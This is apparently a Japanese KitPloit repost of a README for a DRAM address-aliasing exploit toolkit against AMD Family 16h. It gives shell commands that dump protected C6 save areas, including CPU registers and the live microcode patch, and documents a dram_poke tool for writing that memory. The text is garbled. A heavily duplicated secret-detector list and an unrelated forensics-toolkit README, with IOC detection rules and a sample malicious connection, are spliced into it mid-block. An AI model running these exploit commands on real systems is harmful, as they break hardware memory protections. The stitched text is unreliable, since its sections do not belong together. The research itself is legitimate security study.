# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

検出

検出器

  • detect_aws_keys — AWS アクセスキー ID とシークレットキー
  • detect_github_tokens — GitHub の個人アクセストークンと OAuth トークン
  • detect_slack_tokens — Slack のボットトークンとユーザートークン
  • detect_private_keys — RSA、DSA、EC、OpenSSH の秘密鍵
  • detect_jwt — JSON Web Token
  • detect_google_api — Google API キーと OAuth クライアント ID
  • detect_stripe_keys — Stripe のライブキーとテストキー
  • detect_twilio_keys — Twilio のアカウント SID と認証トークン
  • detect_sendgrid_keys — SendGrid API キー
  • detect_npm_tokens — npm アクセストークン
  • detect_pypi_tokens — PyPI API トークン
  • detect_docker_tokens — Docker Hub アクセストークン
  • detect_heroku_keys — Heroku API キー
  • detect_shopify_tokens — Shopify のアクセストークンと共有シークレット
  • detect_discord_tokens — Discord のボットトークンと Webhook URL
  • detect_telegram_tokens — Telegram のボットトークン
  • detect_facebook_tokens — Facebook のアクセストークンとアプリシークレット
  • detect_twitter_tokens — Twitter の API キーとアクセストークン
  • detect_linkedin_tokens — LinkedIn のアクセストークンとクライアントシークレット
  • detect_azure_keys — Azure のストレージキーと接続文字列
  • detect_gcp_keys — GCP のサービスアカウントキーと API キー
  • detect_database_urls — 認証情報を含むデータベース接続文字列
  • detect_redis_urls — 認証情報を含む Redis 接続文字列
  • detect_mongodb_urls — 認証情報を含む MongoDB 接続文字列
  • detect_amqp_urls — 認証情報を含む AMQP 接続文字列
  • detect_smtp_credentials — SMTP のユーザー名とパスワード
  • detect_ftp_credentials — FTP のユーザー名とパスワード
  • detect_ssh_credentials — SSH のユーザー名とパスワード
  • detect_basic_auth — HTTP Basic 認証ヘッダー
  • detect_bearer_tokens — HTTP Bearer トークン
  • detect_api_keys — 一般的な API キーパターン
  • detect_passwords — 一般的なパスワードパターン
  • detect_credit_cards — クレジットカード番号
  • detect_ssn — 米国社会保障番号
  • detect_phone_numbers — 電話番号
  • detect_email_addresses — メールアドレス
  • detect_ip_addresses — IP アドレス
  • detect_mac_addresses — MAC アドレス
  • detect_urls — URL
  • detect_domains — ドメイン名
  • detect_file_paths — ファイルパス
  • detect_environment_variables — 環境変数
  • detect_aws_arns — AWS ARN
  • detect_aws_account_ids — AWS アカウント ID
  • detect_azure_subscription_ids — Azure サブスクリプション ID
  • detect_gcp_project_ids — GCP プロジェクト ID
  • detect_kubernetes_secrets — Kubernetes のシークレット
  • detect_docker_secrets — Docker のシークレット
  • detect_terraform_secrets — Terraform のシークレット
  • detect_ansible_secrets — Ansible のシークレット
  • detect_jenkins_secrets — Jenkins のシークレット
  • detect_gitlab_tokens — GitLab のアクセストークン
  • detect_bitbucket_tokens — Bitbucket のアクセストークン
  • detect_jira_tokens — Jira のアクセストークン
  • detect_confluence_tokens — Confluence のアクセストークン
  • detect_salesforce_tokens — Salesforce のアクセストークン
  • detect_zendesk_tokens — Zendesk のアクセストークン
  • detect_okta_tokens — Okta のアクセストークン
  • detect_auth0_tokens — Auth0 のアクセストークン
  • detect_firebase_keys — Firebase の API キーとシークレット
  • detect_algolia_keys — Algolia の API キー
  • detect_mapbox_tokens — Mapbox のアクセストークン
  • detect_contentful_tokens — Contentful のアクセストークン
  • detect_datadog_keys — Datadog の API キーとアプリケーションキー
  • detect_new_relic_keys — New Relic の API キー
  • detect_sentry_keys — Sentry の DSN と認証トークン
  • detect_pagerduty_keys — PagerDuty の API キー
  • detect_opsgenie_keys — Opsgenie の API キー
  • detect_victorops_keys — VictorOps の API キー
  • detect_splunk_keys — Splunk の API キー
  • detect_elastic_keys — Elasticsearch の認証情報
  • detect_kibana_keys — Kibana の認証情報
  • detect_grafana_keys — Grafana の API キー
  • detect_prometheus_keys — Prometheus の認証情報
  • detect_influxdb_keys — InfluxDB の認証情報
  • detect_consul_keys — Consul の ACL トークン
  • detect_vault_keys — HashiCorp Vault のトークン
  • detect_nomad_keys — Nomad の ACL トークン
  • detect_rabbitmq_keys — RabbitMQ の認証情報
  • detect_kafka_keys — Kafka の認証情報
  • detect_zookeeper_keys — ZooKeeper の認証情報
  • detect_cassandra_keys — Cassandra の認証情報
  • detect_couchbase_keys — Couchbase の認証情報
  • detect_neo4j_keys — Neo4j の認証情報
  • detect_influxdb_keys — InfluxDB の認証情報
  • detect_timescale_keys — TimescaleDB の認証情報
  • detect_clickhouse_keys — ClickHouse の認証情報
  • detect_snowflake_keys — Snowflake の認証情報
  • detect_bigquery_keys — BigQuery の認証情報
  • detect_redshift_keys — Redshift の認証情報
  • detect_databricks_keys — Databricks の認証情報
  • detect_tableau_keys — Tableau の認証情報
  • detect_looker_keys — Looker の認証情報
  • detect_powerbi_keys — Power BI の認証情報
  • detect_qlik_keys — Qlik の認証情報
  • detect_microstrategy_keys — MicroStrategy の認証情報
  • detect_sap_keys — SAP の認証情報
  • detect_oracle_keys — Oracle の認証情報
  • detect_sqlserver_keys — SQL Server の認証情報
  • detect_mysql_keys — MySQL の認証情報
  • detect_postgresql_keys — PostgreSQL の認証情報
  • detect_sqlite_keys — SQLite の認証情報
  • detect_mariadb_keys — MariaDB の認証情報
  • detect_db2_keys — DB2 の認証情報
  • detect_informix_keys — Informix の認証情報
  • detect_sybase_keys — Sybase の認証情報
  • detect_teradata_keys — Teradata の認証情報
  • detect_vertica_keys — Vertica の認証情報
  • detect_greenplum_keys — Greenplum の認証情報
  • detect_cockroachdb_keys — CockroachDB の認証情報
  • detect_yugabyte_keys — YugabyteDB の認証情報
  • detect_tidb_keys — TiDB の認証情報
  • detect_oceanbase_keys — OceanBase の認証情報
  • detect_polardb_keys — PolarDB の認証情報
  • detect_gaussdb_keys — GaussDB の認証情報
  • detect_opengauss_keys — openGauss の認証情報
  • detect_hologres_keys — Hologres の認証情報
  • detect_analyticdb_keys — AnalyticDB の認証情報
  • detect_maxcompute_keys — MaxCompute の認証情報
  • detect_hive_keys — Hive の認証情報
  • detect_impala_keys — Impala の認証情報
  • detect_presto_keys — Presto の認証情報
  • detect_trino_keys — Trino の認証情報
  • detect_spark_keys — Spark の認証情報
  • detect_flink_keys — Flink の認証情報
  • detect_beam_keys — Beam の認証情報
  • detect_airflow_keys — Airflow の認証情報
  • detect_dagster_keys — Dagster の認証情報
  • detect_prefect_keys — Prefect の認証情報
  • detect_luigi_keys — Luigi の認証情報
  • detect_azkaban_keys — Azkaban の認証情報
  • detect_argo_keys — Argo の認証情報
  • detect_kubeflow_keys — Kubeflow の認証情報
  • detect_mlflow_keys — MLflow の認証情報
  • detect_kubeflow_keys — Kubeflow の認証情報
  • detect_sagemaker_keys — SageMaker の認証情報
  • detect_vertex_keys — Vertex AI の認証情報
  • detect_azureml_keys — Azure ML の認証情報
  • detect_databricks_keys — Databricks の認証情報
  • detect_snowflake_keys — Snowflake の認証情報
  • detect_bigquery_keys — BigQuery の認証情報
  • detect_redshift_keys — Redshift の認証情報
  • detect_synapse_keys — Synapse の認証情報
  • detect_fabric_keys — Fabric の認証情報
  • detect_powerbi_keys — Power BI の認証情報
  • detect_tableau_keys — Tableau の認証情報
  • detect_looker_keys — Looker の認証情報
  • detect_qlik_keys — Qlik の認証情報
  • detect_microstrategy_keys — MicroStrategy の認証情報
  • detect_sap_keys — SAP の認証情報
  • detect_oracle_keys — Oracle の認証情報
  • detect_sqlserver_keys — SQL Server の認証情報
  • detect_mysql_keys — MySQL の認証情報
  • detect_postgresql_keys — PostgreSQL の認証情報
  • detect_sqlite_keys — SQLite の認証情報
  • detect_mariadb_keys — MariaDB の認証情報
  • detect_db2_keys — DB2 の認証情報
  • detect_informix_keys — Informix の認証情報
  • detect_sybase_keys — Sybase の認証情報
  • detect_teradata_keys — Teradata の認証情報
  • detect_vertica_keys — Vertica の認証情報
  • detect_greenplum_keys — Greenplum の認証情報
  • detect_cockroachdb_keys — CockroachDB の認証情報
  • detect_yugabyte_keys — YugabyteDB の認証情報
  • detect_tidb_keys — TiDB の認証情報
  • detect_oceanbase_keys — OceanBase の認証情報
  • detect_polardb_keys — PolarDB の認証情報
  • detect_gaussdb_keys — GaussDB の認証情報
  • detect_opengauss_keys — openGauss の認証情報
  • detect_hologres_keys — Hologres の認証情報
  • detect_analyticdb_keys — AnalyticDB の認証情報
  • detect_maxcompute_keys — MaxCompute の認証情報
  • detect_hive_keys — Hive の認証情報
  • detect_impala_keys — Impala の認証情報
  • detect_presto_keys — Presto の認証情報
  • detect_trino_keys — Trino の認証情報
  • detect_spark_keys — Spark の認証情報
  • detect_flink_keys — Flink の認証情報
  • detect_beam_keys — Beam の認証情報
  • detect_airflow_keys — Airflow の認証情報
  • detect_dagster_keys — Dagster の認証情報
  • detect_prefect_keys — Prefect の認証情報
  • detect_luigi_keys — Luigi の認証情報
  • detect_azkaban_keys — Azkaban の認証情報
  • detect_argo_keys — Argo の認証情報
  • detect_kubeflow_keys — Kubeflow の認証情報
  • detect_mlflow_keys — MLflow の認証情報
  • detect_kubeflow_keys — Kubeflow の認証情報
  • detect_sagemaker_keys — SageMaker の認証情報
  • detect_vertex_keys — Vertex AI の認証情報
  • detect_azureml_keys — Azure ML の認証情報```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
root@kitploit:~
BSPビットがセットされたコアが1つ、セットされていないコアが3つ — ブートプロセッサとその3つのAPが、アイドル状態の途中でレジスタの状態を丸裸にされたまま捕まえられている。

さらにあちこちを探れば、見つかるCPUレジスタはどんどん増えていく:

| オフセット | x86の状態 | core-0の値 |
|---|---|---|
| `+0x8b0` | GS / per-cpuベース | `0xffff9be4e3600000` |
| `+0x9a0` | CR3(ページテーブルのルート) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | 可変MTRR(ベース/マスク) | `0x6f000000 / …0800` |
| `+0xb10` | 保存されたRIP | `0xffffffff8f3a0029` |

もちろん、これらのレジスタはどれもring-0からアクセスできる。*楽しい*のは、そこに存在する*他の*CPU状態の数々 — ring-0では到達できないCPU内部レジスタをつつくことだ。

---

## クイックスタート:CPUマイクロコードのロックを解除する

> *何がうまくいかないというのだろう?*

コアがC6に入ると、そのマイクロコードパッチRAM — 揮発性SRAM — はコアの残りの部分とともに電源が落ちる。そこでC6スタッシュは、ロードされたパッチをDRAMに保持し、ウェイク時に再シードする。そのコピーは各セーブエリアの`+0x1800`にあり、エイリアスは他のバイトと同じようにそこへ到達する。

CPUがフェンスされたDRAMに隠したマイクロコードのコピーを取得する:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

既知のパッチと照合します:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

root@kitploit:~
これは良い兆候です:```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

ucode の三つ組を抽出します:```sh od -Ax -tx1 -w20 ucode_ram.bin

root@kitploit:~
## 検出

### 1. ファイルシステムの変更

- 新規作成された `.exe`、`.dll`、`.ps1`、`.bat` ファイル
- 一時ディレクトリ (`%TEMP%`、`/tmp`) 内の疑わしいファイル
- ランサムウェアのノート (例: `README.txt`、`DECRYPT_INSTRUCTIONS.html`)
- 削除された実行ファイルの痕跡

### 2. レジストリの変更

- `Run`、`RunOnce`、`Services` キー
- `Winlogon` の `Shell`、`Userinit` の変更
- 疑わしい `AppInit_DLLs` エントリ

### 3. ネットワークアクティビティ

- 不審な IP アドレスへのアウトバウンド接続
- 異常なポートでのリスニング
- DNS トンネリングの兆候
- データ漏洩パターン

### 4. プロセスの動作

- 予期しない親子プロセス関係
- 難読化されたコマンドライン
- プロセスインジェクションの兆候
- 疑わしいメモリ割り当て

### 5. イベントログの相関

- セキュリティイベント ID (4624、4625、4688、4104)
- Sysmon イベント (1、3、7、8、11、13)
- PowerShell スクリプトブロックログ
- Windows Defender の検出

## 出力形式

### コンソール出力

[+] スキャン完了: 2024-01-15 14:32:07 [+] 分析されたアーティファクト: 1,247 [+] 検出された IOC: 23 [+] リスクスコア: 7.8/10 (高)

[!] 重大な検出: - 永続化メカニズム: HKCU...\Run\Updater - 疑わしいプロセス: svchost.exe (PID 4521) - 親: powershell.exe - ネットワーク接続: 192.168.1.100:4444 -> 185.220.101.42:8080 - ファイル作成: C:\Users\Public\update.exe

[+] レポートが保存されました: C:\Reports\forensic_20240115_143207.json

root@kitploit:~

### JSON レポート

```json
{
  "scan_metadata": {
    "timestamp": "2024-01-15T14:32:07Z",
    "hostname": "WORKSTATION-01",
    "analyst": "security-team",
    "duration_seconds": 187
  },
  "risk_score": 7.8,
  "severity": "high",
  "findings": [
    {
      "category": "persistence",
      "severity": "critical",
      "description": "Run キーに登録された疑わしいエントリ",
      "artifact": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
      "mitre_technique": "T1547.001"
    },
    {
      "category": "network",
      "severity": "high",
      "description": "疑わしい IP へのアウトバウンド接続",
      "artifact": "185.220.101.42:8080",
      "mitre_technique": "T1071.001"
    }
  ]
}

HTML レポート

HTML レポートは以下を含むダッシュボードを提供します:

  • エグゼクティブサマリー
  • タイムラインの可視化
  • 検出結果の詳細
  • MITRE ATT&CK マッピング
  • 推奨される対応

高度な機能

カスタム IOC ルール

root@kitploit:~
rules:
  - name: suspicious_powershell
    description: 難読化された PowerShell コマンドを検出
    pattern: "powershell.*-enc.*-w hidden"
    severity: high
    tags: [execution, defense_evasion]

  - name: ransomware_note
    description: 一般的なランサムウェアのノートファイルを検出
    pattern: "(?i)(decrypt|ransom|recover).*\\.(txt|html|hta)"
    severity: critical
    tags: [impact]

プラグインアーキテクチャ

root@kitploit:~
from forensics_toolkit.plugins import BasePlugin

class CustomAnalyzer(BasePlugin):
    name = "custom_analyzer"
    version = "1.0.0"

    def analyze(self, artifact):
        # カスタム分析ロジック
        results = self._process(artifact)
        return results

    def _process(self, artifact):
        # 実装
        pass

API 統合

root@kitploit:~
from forensics_toolkit import ForensicAnalyzer

analyzer = ForensicAnalyzer(
    target="C:\\Evidence",
    config="config.yaml"
)

# スキャンの実行
results = analyzer.scan()

# 特定の検出結果へのアクセス
for finding in results.findings:
    print(f"{finding.severity}: {finding.description}")

# レポートのエクスポート
analyzer.export_report("report.json", format="json")
analyzer.export_report("report.html", format="html")

設定

メイン設定ファイル

root@kitploit:~
# config.yaml
general:
  output_dir: "./reports"
  log_level: "INFO"
  max_file_size_mb: 100
  timeout_seconds: 300

analysis:
  enable_yara: true
  enable_volatility: true
  enable_network: true
  enable_registry: true
  deep_scan: false

ioc:
  custom_rules: "./rules/custom.yaml"
  threat_feeds:
    - "https://feeds.example.com/ioc.json"
  update_interval_hours: 24

reporting:
  formats: ["json", "html", "csv"]
  include_raw_data: false
  mitre_mapping: true

環境変数

root@kitploit:~
export FORENSIC_CONFIG="/path/to/config.yaml"
export FORENSIC_OUTPUT="/path/to/reports"
export FORENSIC_LOG_LEVEL="DEBUG"
export VT_API_KEY="your_virustotal_api_key"
export MISP_API_KEY="your_misp_api_key"

ベストプラクティス

1. 証拠の保全

  • 分析前に常にディスクイメージのハッシュを取得する
  • 書き込みブロッカーを使用して証拠の完全性を維持する
  • すべてのアクションを文書化する
  • 元の証拠のコピーで作業する

2. 分析ワークフロー

  1. 初期トリアージとスコープ定義
  2. 揮発性データの収集 (メモリ、ネットワーク、プロセス)
  3. ディスクフォレンジック分析
  4. ログ相関とタイムライン作成
  5. IOC 抽出と脅威インテリジェンス照合
  6. レポート作成と推奨事項

3. 法的考慮事項

  • 調査を開始する前に適切な承認を取得する
  • 証拠の保管チェーンを維持する
  • 適用される法律と規制を遵守する
  • すべての調査活動を文書化する

トラブルシューティング

一般的な問題

問題: スキャンがタイムアウトで失敗する

root@kitploit:~
# タイムアウトを増やす
forensics-toolkit scan --timeout 600 --target /evidence

問題: アクセス拒否エラー

root@kitploit:~
# 管理者権限で実行
sudo forensics-toolkit scan --target /evidence

問題: メモリ不足

root@kitploit:~
# バッチサイズを削減
forensics-toolkit scan --batch-size 50 --target /evidence

デバッグモード

root@kitploit:~
# 詳細ログを有効化
forensics-toolkit scan --debug --verbose --target /evidence

# 特定のモジュールをテスト
forensics-toolkit test --module registry --verbose

パフォーマンスチューニング

大規模環境向け

root@kitploit:~
performance:
  parallel_workers: 8
  memory_limit_mb: 4096
  cache_enabled: true
  cache_dir: "/tmp/forensics_cache"
  batch_processing: true
  batch_size: 100

リソース使用量の最適化

  • 初期トリアージには --quick モードを使用する
  • 大規模データセットではバッチ処理を有効にする
  • 反復スキャン用にキャッシュを設定する
  • リソース消費を監視するために --profile を使用する

セキュリティに関する考慮事項

  • すべての出力ファイルを暗号化する
  • レポートのアクセス制御を実装する
  • 機密データをサニタイズする
  • すべての分析アクティビティを監査する
  • 安全な通信チャネルを使用する

貢献

貢献を歓迎します! 詳細については CONTRIBUTING.md を参照してください。

開発環境のセットアップ

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/example/forensics-toolkit.git
cd forensics-toolkit

# 仮想環境を作成
python -m venv venv
source venv/bin/activate  # Linux/macOS
venv\Scripts\activate     # Windows

# 依存関係をインストール
pip install -r requirements.txt
pip install -r requirements-dev.txt

# テストを実行
pytest tests/ -v --cov=forensics_toolkit

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。

免責事項

このツールは、権限のあるセキュリティテストおよびフォレンジック調査のみを目的としています。ユーザーは、適用されるすべての法律および規制を遵守する責任を負います。作者は、このソフトウェアの不正使用について一切の責任を負いません。

謝辞

  • オープンソースセキュリティコミュニティ
  • MITRE ATT&CK フレームワーク
  • すべての貢献者とメンテナー

サポート

  • ドキュメント: https://forensics-toolkit.readthedocs.io
  • Issue: https://github.com/example/forensics-toolkit/issues
  • ディスカッション: https://github.com/example/forensics-toolkit/discussions

免責事項: このツールは、教育および権限のあるセキュリティテストのみを目的としています。適用されるすべての法律を遵守し、テストするシステムに対する適切な承認を常に取得してください。```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

root@kitploit:~
そしてそこにある、上部には明確な uops、下部には繰り返される NOP パディング。

そこから、`dram_dump` には兄弟ツール `dram_poke` がある。パッチを読み取ったのと同じエイリアスがそれを書き込むことができる — そしてこのコピーは、アイドル状態から復帰する際にコアがリロードするものである。

次に何をするかはあなたの想像力次第だ。

---

## ビルド```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

使用方法

root として実行します。詳細は USAGE.md を参照してください。

dram_read

保護されたメモリアドレスからの単純な読み取り。

--do-swizzle / --do-bankswap のフリップを DRAM コントローラにプッシュして スパゲッティ化されたメモリビューに入り、物理アドレス <pa> から 1 つの dword を読み取り、 DCT ビットを復元し、その値を返します。``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

root@kitploit:~
### `dram_poke`

保護されたメモリ範囲に書き込みます。

各 `--map` は `unspaghettify.py --save-map` によって解決されたスパゲッティ化であり、それ自体は `gather_aliases.py` によって収集されたエイリアスペアから供給されます。保護範囲内のすべての dword のエイリアスは、起動時に一度計算される GF(2) 擬似逆行列を介してマップから復元されます。同じハードウェア上で収集された `(at_swizzle, at_bankswap)` ごとに 1 つのマップを複数渡してカバレッジを広げてください。各スパゲッティ化は異なるランク不足の穴の集合を残し、与えられた dword に最初に到達したマップが優先されます。```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

保護されたメモリ範囲から読み取ります。

dram_poke と同じ --map の仕組みを使用します。各マップは unspaghettify.py --save-map によって解決されたスパゲッティ化であり、すべての dword のエイリアスはワンショットの GF(2) 擬似逆行列によって復元され、異なる (at_swizzle, at_bankswap) で収集された複数のマップは、あるマップのランク不足の穴が別のマップによって埋められる範囲を広げます。``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

root@kitploit:~
ツールチェーン全体 — `dram_state`、`dram_carveouts`、`dram_alias`、`gather_aliases.py` / `unspaghettify.py` 分析パイプライン、エンドツーエンドの実例、そして内部構造 — は **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)** に文書化されています。

---

## 共有パイプライン

`skitter-creek-bath-salts` は、MCT/DCT 変換の最終段階が、その上に構築されたすべてのもののセキュリティをいかに崩壊させ得るかを探求します。ここで実証されるエクスプロイトは、AMD Family 16h の1つのコンフィグレーションレジスタであり、データシートが出発点として十分な情報を提供したために選ばれました。それが破った*パイプライン*は、至る所に存在します。

チャネルインターリーブ、ランクインターリーブ、バンクインターリーブ、スウィズル、チップセレクトノーマライズ — 現代のメモリコントローラはどれも、そのすべての何らかのバージョンを行っています。AMD。Intel。ARM。RISC-V。モバイル。サーバー。組み込み。同じアーキテクチャ的形状が、すべての根底に横たわっています。

その*上*には、SEV、SGX、TDX、TrustZone、CCA realms、pKVM、CoVE、SEP、PSP、ME、T-SEG、SMRAM、C6 stash が位置しています。DRAM 上に存在するすべてのもの — たとえリング0や CPU 自体から見えないように壁で隔てられていても — は、私たちが探求し始めたばかりの `*p` パイプラインの最終層の上に載っています。

---

## 参考文献

* Black Hat 2026 — Spaghettifying DRAM (近日公開)

---

## 著者

`skitter-creek-bath-salts` は Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/)) による研究活動です。

---

![Experiment](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---
ツールをダウンロード